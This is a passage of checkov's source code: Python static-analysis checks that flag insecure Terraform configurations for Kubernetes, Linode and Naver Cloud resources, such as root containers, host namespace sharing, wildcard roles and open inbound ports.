"kubernetes_pod_v1", 'kubernetes_deployment', 'kubernetes_deployment_v1'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf) -> CheckResult: spec = conf.get('spec', [None])[0] evaluated_keys_path = "spec" if not spec: return CheckResult.UNKNOWN if spec.get("template") and isinstance(spec.get("template"), list): template = spec.get("template")[0] if template.get("spec") and isinstance(template.get("spec"), list): spec = template.get("spec")[0] evaluated_keys_path = f'{evaluated_keys_path}/[0]/template/[0]/spec' if isinstance(spec, dict) and spec.get("container"): containers = spec.get("container") for idx, container in enumerate(containers): if not isinstance(container, dict): return CheckResult.UNKNOWN if container.get("security_context"): context = container.get("security_context")[0] if context.get("read_only_root_filesystem") != [True]: self.evaluated_keys = [f'{evaluated_keys_path}/[0]/container/[{idx}]/security_context/[0]/read_only_root_filesystem'] return CheckResult.FAILED return CheckResult.PASSED check = ReadonlyRootFilesystem() ================================================ FILE: checkov/terraform/checks/resource/kubernetes/RootContainerPSP.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class RootContainersPSP(BaseResourceCheck): def __init__(self): # CIS-1.3 1.7.6 # CIS-1.5 5.2.6 name = "Do not admit root containers" id = "CKV_K8S_6" supported_resources = ['kubernetes_pod_security_policy'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf) -> CheckResult: # required param if "spec" in conf: self.evaluated_keys = ["spec"] # required param if "run_as_user" in conf["spec"][0]: self.evaluated_keys = ["spec/[0]/run_as_user"] runas = conf["spec"][0]["run_as_user"][0] if runas["rule"]: self.evaluated_keys = ["spec/[0]/run_as_user/[0]/rule"] inspected_value = runas["rule"][0] if inspected_value == "MustRunAsNonRoot": return CheckResult.PASSED elif inspected_value == "MustRunAs": if runas["range"]: for item in runas["range"]: if item["min"][0] == 0: return CheckResult.FAILED return CheckResult.PASSED return CheckResult.FAILED check = RootContainersPSP() ================================================ FILE: checkov/terraform/checks/resource/kubernetes/SeccompPSP.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class SeccompPSP(BaseResourceCheck): def __init__(self): # CIS-1.5 5.7.2 name = "Ensure default seccomp profile set to docker/default or runtime/default" id = "CKV_K8S_32" supported_resources = ['kubernetes_pod_security_policy'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf) -> CheckResult: if "metadata" in conf: self.evaluated_keys = ["metadata"] if "annotations" in conf["metadata"][0]: self.evaluated_keys = ["metadata/[0]/annotations"] metadata = conf["metadata"][0] if metadata.get("annotations"): annotations = metadata["annotations"][0] if annotations is not None: for annotation in annotations: annotation = ''.join(annotation.split()) if annotation == "seccomp.security.alpha.kubernetes.io/defaultProfileName": my_value = str(annotations.get(annotation)) if "docker/default" in my_value or "runtime/default" in my_value: return CheckResult.PASSED return CheckResult.FAILED check = SeccompPSP() ================================================ FILE: checkov/terraform/checks/resource/kubernetes/Secrets.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class Secrets(BaseResourceCheck): def __init__(self): # CIS-1.5 5.4.1 name = "Prefer using secrets as files over secrets as environment variables" id = "CKV_K8S_35" supported_resources = ['kubernetes_pod', "kubernetes_pod_v1", 'kubernetes_deployment', 'kubernetes_deployment_v1'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf) -> CheckResult: if "spec" not in conf: self.evaluated_keys = [""] return CheckResult.FAILED spec = conf['spec'][0] evaluated_keys_path = "spec" if not spec: return CheckResult.UNKNOWN template = spec.get("template") if template and isinstance(template, list): template = template[0] template_spec = template.get("spec") if template_spec and isinstance(template_spec, list): spec = template_spec[0] evaluated_keys_path = f'{evaluated_keys_path}/[0]/template/[0]/spec' containers = spec.get("container") if containers: for idx, container in enumerate(containers): if not isinstance(container, dict): return CheckResult.UNKNOWN if container.get("env") and isinstance(container.get("env"), list): env = container.get("env")[0] for idy, e in enumerate(env): if "value_from" in e: if isinstance(env.get("value_from"), list): value_from = env.get("value_from")[0] if value_from.get("secret_key_ref"): self.evaluated_keys = \ [f"{evaluated_keys_path}/[0]/container/[{idx}]/env/[{idy}]/value_from/secret_key_ref"] return CheckResult.FAILED if container.get("env_from") and isinstance(container.get("env_from"), list): env_from = container.get("env_from")[0] for idy, ef in enumerate(env_from): if "secret_ref" in ef: self.evaluated_keys = \ [f"{evaluated_keys_path}/[0]/container/[{idx}]/env_from/[{idy}]/secret_ref"] return CheckResult.FAILED return CheckResult.PASSED check = Secrets() ================================================ FILE: checkov/terraform/checks/resource/kubernetes/ShareHostIPC.py ================================================ from typing import Any, List from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck class ShareHostIPC(BaseResourceNegativeValueCheck): def __init__(self): # CIS-1.3 1.7.3 # CIS-1.5 5.2.3 name = "Do not admit containers wishing to share the host IPC namespace" id = "CKV_K8S_18" supported_resources = ["kubernetes_pod", "kubernetes_pod_v1", "kubernetes_deployment", "kubernetes_deployment_v1"] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): if "kubernetes_deployment" == self.entity_type or "kubernetes_deployment_v1" == self.entity_type: return "spec/[0]/template/[0]/spec/[0]/host_ipc" return "spec/[0]/host_ipc" def get_forbidden_values(self) -> List[Any]: return [True] check = ShareHostIPC() ================================================ FILE: checkov/terraform/checks/resource/kubernetes/ShareHostIPCPSP.py ================================================ from typing import Any, List from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck class ShareHostIPCPSP(BaseResourceNegativeValueCheck): def __init__(self): # CIS-1.3 1.7.3 # CIS-1.5 5.2.3 name = "Do not admit containers wishing to share the host IPC namespace" id = "CKV_K8S_3" supported_resources = ["kubernetes_pod_security_policy"] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "spec/[0]/host_ipc" def get_forbidden_values(self) -> List[Any]: return [True] check = ShareHostIPCPSP() ================================================ FILE: checkov/terraform/checks/resource/kubernetes/ShareHostPID.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class ShareHostPID(BaseResourceValueCheck): def __init__(self): # CIS-1.3 1.7.2 # CIS-1.5 5.2.2 name = "Do not admit containers wishing to share the host process ID namespace" id = "CKV_K8S_17" supported_resources = ["kubernetes_pod", "kubernetes_pod_v1", "kubernetes_deployment", "kubernetes_deployment_v1"] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.PASSED) def get_inspected_key(self) -> str: if "kubernetes_deployment" == self.entity_type or "kubernetes_deployment_v1" == self.entity_type: return "spec/[0]/template/[0]/spec/[0]/host_pid" return "spec/[0]/host_pid" def get_expected_value(self) -> Any: return False check = ShareHostPID() ================================================ FILE: checkov/terraform/checks/resource/kubernetes/ShareHostPIDPSP.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class ShareHostPIDPSP(BaseResourceValueCheck): def __init__(self): # CIS-1.3 1.7.2 # CIS-1.5 5.2.2 name = "Do not admit containers wishing to share the host process ID namespace" id = "CKV_K8S_1" supported_resources = ["kubernetes_pod_security_policy"] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.PASSED) def get_inspected_key(self) -> str: return "spec/[0]/host_pid" def get_expected_value(self) -> Any: return False check = ShareHostPIDPSP() ================================================ FILE: checkov/terraform/checks/resource/kubernetes/SharedHostNetworkNamespace.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class SharedHostNetworkNamespace(BaseResourceValueCheck): def __init__(self): # CIS-1.3 1.7.4 # CIS-1.5 5.2.4 name = "Do not admit containers wishing to share the host network namespace" id = "CKV_K8S_19" supported_resources = ["kubernetes_pod", "kubernetes_pod_v1", "kubernetes_deployment", "kubernetes_deployment_v1"] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.PASSED) def get_inspected_key(self) -> str: if "kubernetes_deployment" == self.entity_type or "kubernetes_deployment_v1" == self.entity_type: return "spec/[0]/template/[0]/spec/[0]/host_network" return "spec/[0]/host_network" def get_expected_value(self) -> Any: return False check = SharedHostNetworkNamespace() ================================================ FILE: checkov/terraform/checks/resource/kubernetes/SharedHostNetworkNamespacePSP.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class SharedHostNetworkNamespacePSP(BaseResourceValueCheck): def __init__(self): # CIS-1.3 1.7.4 # CIS-1.5 5.2.4 name = "Do not admit containers wishing to share the host network namespace" id = "CKV_K8S_4" supported_resources = ["kubernetes_pod_security_policy"] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.PASSED) def get_inspected_key(self) -> str: return "spec/[0]/host_network" def get_expected_value(self) -> Any: return False check = SharedHostNetworkNamespacePSP() ================================================ FILE: checkov/terraform/checks/resource/kubernetes/Tiller.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class Tiller(BaseResourceCheck): def __init__(self) -> None: name = "Ensure that Tiller (Helm v2) is not deployed" id = "CKV_K8S_34" supported_resources = ["kubernetes_pod", "kubernetes_pod_v1", "kubernetes_deployment", "kubernetes_deployment_v1"] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: if "metadata" in conf and isinstance(conf["metadata"], list): metadata = conf.get("metadata")[0] if metadata.get("labels") and isinstance(metadata.get("labels"), list) and isinstance(metadata.get("labels")[0], dict): labels = metadata.get("labels")[0] self.evaluated_keys = ["metadata/[0]/labels"] if labels.get("app") == "helm": self.evaluated_keys = ["metadata/[0]/labels/[0]/app"] return CheckResult.FAILED elif labels.get("name") == "tiller": self.evaluated_keys = ["metadata/[0]/labels/[0]/name"] return CheckResult.FAILED if "spec" not in conf: self.evaluated_keys = [""] return CheckResult.FAILED spec = conf['spec'][0] evaluated_keys_path = "spec" if not spec: return CheckResult.UNKNOWN template = spec.get("template") if template and isinstance(template, list): template = template[0] metadata = template.get("metadata") if metadata and isinstance(metadata, list): metadata = metadata[0] if metadata.get("labels") and isinstance(metadata.get("labels"), list) and isinstance(metadata.get("labels")[0], dict): labels = metadata.get("labels")[0] self.evaluated_keys = [f"{evaluated_keys_path}/[0]/template/[0]/metadata/[0]/labels"] if labels.get("app") == "helm": self.evaluated_keys = [f"{evaluated_keys_path}/[0]/template/[0]/metadata/[0]/labels/[0]/app"] return CheckResult.FAILED elif labels.get("name") == "tiller": self.evaluated_keys = [f"{evaluated_keys_path}/[0]/template/[0]/metadata/[0]/labels/[0]/name"] return CheckResult.FAILED template_spec = template.get("spec") if template_spec and isinstance(template_spec, list): spec = template_spec[0] evaluated_keys_path = f'{evaluated_keys_path}/[0]/template/[0]/spec' containers = spec.get("container") if not containers: return CheckResult.UNKNOWN for idx, container in enumerate(containers): if not isinstance(container, dict): return CheckResult.UNKNOWN if container.get("image") and isinstance(container.get("image"), list): image = container.get("image")[0] if "tiller" in image: self.evaluated_keys = [f'{evaluated_keys_path}/[0]/container/[{idx}]/image'] return CheckResult.FAILED return CheckResult.PASSED check = Tiller() ================================================ FILE: checkov/terraform/checks/resource/kubernetes/TillerService.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class TillerService(BaseResourceCheck): def __init__(self) -> None: name = "Ensure that the Tiller Service (Helm v2) is deleted" id = "CKV_K8S_44" supported_resources = ["kubernetes_service", "kubernetes_service_v1"] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: if "metadata" in conf and isinstance(conf["metadata"], list): metadata = conf.get("metadata")[0] if metadata.get("labels") and isinstance(metadata.get("labels"), list) \ and isinstance(metadata.get("labels")[0], dict): labels = metadata.get("labels")[0] self.evaluated_keys = ["metadata/[0]/labels"] if labels.get("app") == "helm": self.evaluated_keys = ["metadata/[0]/labels/[0]/app"] return CheckResult.FAILED elif labels.get("name") == "tiller": self.evaluated_keys = ["metadata/[0]/labels/[0]/name"] return CheckResult.FAILED if "spec" not in conf: self.evaluated_keys = [""] return CheckResult.FAILED spec = conf['spec'][0] if not spec: return CheckResult.UNKNOWN if spec.get('selector') and isinstance(spec.get('selector'), list): selector = spec.get('selector')[0] if selector and isinstance(selector, dict): for v in selector.values(): test = str(v).lower() if 'tiller' in test: self.evaluated_keys = ["spec/[0]/selector/app"] return CheckResult.FAILED return CheckResult.PASSED return CheckResult.UNKNOWN check = TillerService() ================================================ FILE: checkov/terraform/checks/resource/kubernetes/WildcardRoles.py ================================================ from typing import List from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class WildcardRoles(BaseResourceCheck): def __init__(self): name = "Minimize wildcard use in Roles and ClusterRoles" id = "CKV_K8S_49" supported_resources = ["kubernetes_role", "kubernetes_role_v1", "kubernetes_cluster_role", "kubernetes_cluster_role_v1"] categories = [CheckCategories.IAM] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf) -> CheckResult: rules = conf.get("rule") if isinstance(rules, list) and rules: for rule in rules: if "api_groups" in rule: if rule["api_groups"] is not None and "*" in rule["api_groups"][0]: return CheckResult.FAILED if "resources" in rule: if rule["resources"] is not None and "*" in rule["resources"][0]: return CheckResult.FAILED if "verbs" in rule: if rule["verbs"] is not None and "*" in rule["verbs"][0]: return CheckResult.FAILED return CheckResult.PASSED def get_evaluated_keys(self) -> List[str]: return ["rule"] check = WildcardRoles() ================================================ FILE: checkov/terraform/checks/resource/kubernetes/__init__.py ================================================ from pathlib import Path modules = Path(__file__).parent.glob("*.py") __all__ = [f.stem for f in modules if f.is_file() and not f.stem == "__init__"] ================================================ FILE: checkov/terraform/checks/resource/linode/__init__.py ================================================ from pathlib import Path modules = Path(__file__).parent.glob("*.py") __all__ = [f.stem for f in modules if f.is_file() and not f.stem == "__init__"] ================================================ FILE: checkov/terraform/checks/resource/linode/authorized_keys.py ================================================ from typing import Any from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class AuthorizedKeys(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure SSH key set in authorized_keys" id = "CKV_LIN_2" supported_resources = ["linode_instance"] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "authorized_keys" def get_expected_value(self) -> Any: return ANY_VALUE check = AuthorizedKeys() ================================================ FILE: checkov/terraform/checks/resource/linode/firewall_inbound_policy.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class FirewallInboundPolicy(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure Inbound Firewall Policy is not set to ACCEPT" id = "CKV_LIN_5" supported_resources = ["linode_firewall"] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "inbound_policy" def get_expected_value(self) -> Any: return "DROP" check = FirewallInboundPolicy() ================================================ FILE: checkov/terraform/checks/resource/linode/firewall_outbound_policy.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class FirewallOutboundPolicy(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure Outbound Firewall Policy is not set to ACCEPT" id = "CKV_LIN_6" supported_resources = ["linode_firewall"] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "outbound_policy" def get_expected_value(self) -> Any: return "DROP" check = FirewallOutboundPolicy() ================================================ FILE: checkov/terraform/checks/resource/linode/user_email_set.py ================================================ from typing import Any from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class EmailExists(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure email is set" id = "CKV_LIN_3" supported_resources = ["linode_user"] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "email" def get_expected_value(self) -> Any: return ANY_VALUE check = EmailExists() ================================================ FILE: checkov/terraform/checks/resource/linode/user_username_set.py ================================================ from typing import Any from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class UsernameExists(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure username is set" id = "CKV_LIN_4" supported_resources = ["linode_user"] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "username" def get_expected_value(self) -> Any: return ANY_VALUE check = UsernameExists() ================================================ FILE: checkov/terraform/checks/resource/ncp/AccessControlGroupInboundRule.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.util.type_forcers import force_list class AccessControlGroupInboundRule(BaseResourceCheck): def __init__(self, check_id: str, port: int) -> None: name = f"Ensure no access control groups allow inbound from 0.0.0.0:0 to port {port}" id = check_id supported_resource = ('ncloud_access_control_group_rule',) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resource) self.port = port def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: if 'inbound' in conf : # This means it's an ACG resource with inbound block(s) inbound_conf = conf['inbound'] for inbound_rule in inbound_conf: for rule in force_list(inbound_rule): if isinstance(rule, dict) and self.contains_violation(rule): self.evaluated_keys = [ f'inbound/[{inbound_conf.index(inbound_rule)}]/port_range', f'inbound/[{inbound_conf.index(inbound_rule)}]/ip_block', ] return CheckResult.FAILED return CheckResult.PASSED def contains_violation(self, conf: dict[str, list[Any]]) -> bool: if 'port_range' in conf: port_range = conf.get('port_range') if isinstance(port_range, list): port_range = port_range[0].split("-") from_port = int(port_range[0]) to_port = int(port_range[1]) if len(port_range) > 1 else from_port if to_port == 0 and from_port == 0: to_port = 65535 if from_port is not None and to_port is not None and (from_port <= self.port <= to_port): conf_cidr_blocks = conf.get('ip_block', [[]]) if conf_cidr_blocks: conf_cidr_blocks = conf_cidr_blocks[0] cidr_blocks = force_list(conf_cidr_blocks) if '0.0.0.0/0' in cidr_blocks: return True return False ================================================ FILE: checkov/terraform/checks/resource/ncp/AccessControlGroupInboundRulePort22.py ================================================ from checkov.terraform.checks.resource.ncp.AccessControlGroupInboundRule import AccessControlGroupInboundRule class AccessControlGroupRuleInboundPort22(AccessControlGroupInboundRule): def __init__(self): super().__init__(check_id="CKV_NCP_4", port=22) check = AccessControlGroupRuleInboundPort22() ================================================ FILE: checkov/terraform/checks/resource/ncp/AccessControlGroupInboundRulePort3389.py ================================================ from checkov.terraform.checks.resource.ncp.AccessControlGroupInboundRule import AccessControlGroupInboundRule class AccessControlGroupRuleInboundPort3389(AccessControlGroupInboundRule): def __init__(self): super().__init__(check_id="CKV_NCP_5", port=3389) check = AccessControlGroupRuleInboundPort3389() ================================================ FILE: checkov/terraform/checks/resource/ncp/AccessControlGroupInboundRulePort80.py ================================================ from checkov.terraform.checks.resource.ncp.AccessControlGroupInboundRule import AccessControlGroupInboundRule class AccessControlGroupRuleInboundPort80(AccessControlGroupInboundRule): def __init__(self): super().__init__(check_id="CKV_NCP_25", port=80) check = AccessControlGroupRuleInboundPort80() ================================================ FILE: checkov/terraform/checks/resource/ncp/AccessControlGroupOutboundRule.py ================================================ from __future__ import annotations from typing import Any from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckResult, CheckCategories class AccessControlGroupOutboundRule(BaseResourceCheck): def __init__(self) -> None: name = "Ensure no security group rules allow outbound traffic to 0.0.0.0/0" id = "CKV_NCP_3" supported_resources = ("ncloud_access_control_group_rule",) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: for idx, outbound in enumerate(conf.get("outbound", [])): ip = outbound.get("ip_block") if ip == ["0.0.0.0/0"] or ip == ["::/0"]: self.evaluated_keys = [f"outbound/[{idx}]/ip_block"] return CheckResult.FAILED return CheckResult.PASSED check = AccessControlGroupOutboundRule() ================================================ FILE: checkov/terraform/checks/resource/ncp/AccessControlGroupRuleDescription.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class AccessControlGroupRuleDescription(BaseResourceCheck): def __init__(self): name = "Ensure every access control groups rule has a description" id = "CKV_NCP_2" supported_resource = [ 'ncloud_access_control_group', 'ncloud_access_control_group_rule', ] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resource) def scan_resource_conf(self, conf): """ https://registry.terraform.io/providers/NaverCloudPlatform/ncloud/latest/docs/resources/access_control_group :return: """ group_result = self.check_rule(rule_type='group_or_rule_description', conf=conf) if 'type' not in conf.keys(): outbound_result = self.check_rule(rule_type='outbound', conf=conf) inbound_result = self.check_rule(rule_type='inbound', conf=conf) if group_result == CheckResult.PASSED or (outbound_result == CheckResult.PASSED and inbound_result == CheckResult.PASSED): return CheckResult.PASSED return CheckResult.FAILED return group_result def check_rule(self, rule_type, conf): if rule_type == 'group_or_rule_description': self.evaluated_keys = ['description'] if conf.get('description'): return CheckResult.PASSED return CheckResult.FAILED if rule_type in conf.keys(): for rule in conf[rule_type]: if isinstance(rule, dict) and rule.get('description'): self.evaluated_keys.append(f'{rule_type}/[{conf[rule_type].index(rule)}]') return CheckResult.PASSED return CheckResult.FAILED check = AccessControlGroupRuleDescription() ================================================ FILE: checkov/terraform/checks/resource/ncp/LBListenerUsesSecureProtocols.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class LBListenerUsesSecureProtocols(BaseResourceCheck): def __init__(self): name = "Ensure LB Listener uses only secure protocols" id = "CKV_NCP_13" supported_resources = ('ncloud_lb_listener',) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): if 'protocol' in conf.keys(): protocol = conf['protocol'][0] if protocol in ('HTTPS', 'TLS'): self.evaluated_keys = ['protocol'] if 'tls_min_version_type' in conf.keys(): self.evaluated_keys = ['protocol/[0]/tls_min_version_type'] if conf['tls_min_version_type'] == ['TLSV12']: return CheckResult.PASSED return CheckResult.FAILED check = LBListenerUsesSecureProtocols() ================================================ FILE: checkov/terraform/checks/resource/ncp/LBListenerUsingHTTPS.py ================================================ from __future__ import annotations from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class LBListenerUsingHTTPS(BaseResourceValueCheck): def __init__(self): name = "Ensure Load Balancer Listener Using HTTPS" id = "CKV_NCP_24" supported_resources = ("ncloud_lb_listener",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'protocol' def get_expected_value(self): return 'HTTPS' check = LBListenerUsingHTTPS() ================================================ FILE: checkov/terraform/checks/resource/ncp/LBNetworkPrivate.py ================================================ from __future__ import annotations from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from typing import Any class LBNetworkPrivate(BaseResourceValueCheck): def __init__(self): name = "Ensure Load Balancer isn't exposed to the internet" id = "CKV_NCP_16" supported_resources = ("ncloud_lb",) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "network_type" def get_expected_value(self) -> Any: return "PRIVATE" check = LBNetworkPrivate() ================================================ FILE: checkov/terraform/checks/resource/ncp/LBTargetGroupDefinesHealthCheck.py ================================================ from __future__ import annotations from typing import Any, List from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class LBTargetGroupDefinesHealthCheck(BaseResourceCheck): def __init__(self) -> None: name = "Ensure HTTP HTTPS Target group defines Healthcheck" id = "CKV_NCP_1" supported_resources = ("ncloud_lb_target_group",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: if conf.get("protocol") in (["HTTP"], ["HTTPS"]): health_checks = conf.get("health_check") if health_checks and isinstance(health_checks, list): healthcheck = health_checks[0] if isinstance(healthcheck, dict) and healthcheck.get("url_path"): return CheckResult.PASSED return CheckResult.FAILED return CheckResult.UNKNOWN def get_evaluated_keys(self) -> List[str]: return ["protocol", "health_check"] check = LBTargetGroupDefinesHealthCheck() ================================================ FILE: checkov/terraform/checks/resource/ncp/LBTargetGroupUsingHTTPS.py ================================================ from __future__ import annotations from typing import List from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class LBTargetGroupUsingHTTPS(BaseResourceCheck): def __init__(self): name = "Ensure Load Balancer Target Group is not using HTTP" id = "CKV_NCP_15" supported_resources = ("ncloud_lb_target_group",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): if "protocol" in conf.keys(): if conf.get("protocol") != ['HTTP']: return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ["protocol"] check = LBTargetGroupUsingHTTPS() ================================================ FILE: checkov/terraform/checks/resource/ncp/LaunchConfigurationEncryptionVPC.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class LaunchConfigurationEncryptionVPC(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure Basic Block storage is encrypted." id = "CKV_NCP_7" supported_resources = ("ncloud_launch_configuration",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "is_encrypted_volume" check = LaunchConfigurationEncryptionVPC() ================================================ FILE: checkov/terraform/checks/resource/ncp/NACLInbound20.py ================================================ from checkov.terraform.checks.resource.ncp.NACLInboundCheck import NACLInboundCheck class NACLInbound20(NACLInboundCheck): def __init__(self) -> None: super().__init__(check_id="CKV_NCP_8", port=20) check = NACLInbound20() ================================================ FILE: checkov/terraform/checks/resource/ncp/NACLInbound21.py ================================================ from checkov.terraform.checks.resource.ncp.NACLInboundCheck import NACLInboundCheck class NACLInbound21(NACLInboundCheck): def __init__(self): super().__init__(check_id="CKV_NCP_9", port=21) check = NACLInbound21() ================================================ FILE: checkov/terraform/checks/resource/ncp/NACLInbound22.py ================================================ from checkov.terraform.checks.resource.ncp.NACLInboundCheck import NACLInboundCheck class NACLInbound22(NACLInboundCheck): def __init__(self) -> None: super().__init__(check_id="CKV_NCP_10", port=22) check = NACLInbound22() ================================================ FILE: checkov/terraform/checks/resource/ncp/NACLInbound3389.py ================================================ from checkov.terraform.checks.resource.ncp.NACLInboundCheck import NACLInboundCheck class NACLInbound3389(NACLInboundCheck): def __init__(self) -> None: super().__init__(check_id="CKV_NCP_11", port=3389) check = NACLInbound3389() ================================================ FILE: checkov/terraform/checks/resource/ncp/NACLInboundCheck.py ================================================ from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckResult, CheckCategories class NACLInboundCheck(BaseResourceCheck): def __init__(self, check_id, port): name = f"Ensure no NACL allow inbound from 0.0.0.0:0 to port {port}" id = check_id supported_resources = ('ncloud_network_acl_rule',) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) self.port = port def scan_resource_conf(self, conf): for idx, inbound in enumerate(conf.get('inbound', [])): if inbound['rule_action'] == ["ALLOW"]: self.evaluated_keys = [f"inbound/[{idx}]/ip_block", f"inbound/[{idx}]/port_range"] ip = inbound.get('ip_block', ['0.0.0.0/0']) if ip == ['0.0.0.0/0'] or ip == ['::/0']: port = inbound.get('port_range', str(self.port))[0] if port == str(self.port): return CheckResult.FAILED elif port.find('-'): port_range = list(map(int, port.split("-"))) if port_range[0] <= self.port <= port_range[-1]: return 